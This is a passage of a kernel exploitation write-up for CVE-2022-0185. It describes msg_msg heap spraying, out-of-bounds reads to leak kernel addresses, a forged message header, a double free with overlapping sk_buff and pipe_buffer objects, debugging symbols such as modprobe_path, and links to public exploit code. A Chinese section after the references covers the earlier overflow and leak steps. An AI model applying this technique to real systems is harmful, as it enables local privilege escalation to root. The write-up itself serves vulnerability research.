Then spray several message queue pairs, each pair containing 16 (several) msg_msg of size 0x400. In an ideal state, a certain message of a certain pair will occupy the freed 0x400 slab indicated by the dashed line in the figure above, forming the following layout: the 5th msg of msg queue X allocates this slab:

Then, through the out-of-bounds read of msg1, obtain the prev value of msg5, which is the address of msg4. Through the content we arranged in the msg, we can determine the msq queue number X and the sequence number 5 of the msg in the queue.
Next, release msg6 and all msgs after msg6, then add a new message in queue X. The new message will still be appended after msg5, that is, new msg6, newmsg6. Inside newmsg6 (at a position where the address ending is not 0x00), arrange a fake msg header fake head, the fake head points to msg4, forming as follows:

Then perform another out-of-bounds read, record the address of the fake head in newmsg6, which is the value of msg5->next read out-of-bounds plus the offset we arranged:

Then do it again, perform another out-of-bounds write, this time overwrite the next pointer at the msg header to point to the fakeHead in newmsg6. The address has just been obtained:

Directly release msg4 through msgX, then spray sk_buff to occupy the released msg4, and forge next and prev to point to itself (the address is already known) to bypass msg's unlink for the second free later:

Then use the newmsg1 queue to release msg4 again, then use pipe_buffer to occupy it again, letting sk_buff and pipe_buffer occupy the same area, forming the following situation:

For the subsequent operations, just refer to the second half of "[Victory Equation](https://blog.csdn.net/Breeze_CAT/article/details/124887764)", exp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

## Debugging Tips
Related symbols:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv
ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path
Conditional breakpoint``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig
## References
github: [Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)
writeup: https://www.willsroot.io/2022/01/cve-2022-0185.html
veritas501: [CVE-2022-0185 Analysis and Exploitation & Pipe New Primitive Thinking and Practice](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
继续msgsnd,申请msg_msg 结构体(会分成两段),由于第一段msg 长度为kmalloc-4k,所以大概率申请到将legacy_data 后面的地方,会覆盖刚刚溢出的部分,不过无所谓。

继续调用fsconfig 进行溢出,这就是为什么要分两次溢出的原因,刚刚那次溢出22个字符的目的只是为了将指针移动到msg_msg 头中m_ts(代表msg 的大小)字段的前面。这时再溢出由于会在前面添加",="两个字符,那么正好可以覆盖msg_msg 头中的m_ts修改msg 的大小 。

喷射一堆 seq_operations 结构体,由于属于kmalloc-32 ,大概率会落在消息第二段后面

这时接收消息,其中一个消息被我们溢出篡改了size,那么读取就会发送越界,读到后面的seq_operations 结构体完成泄露。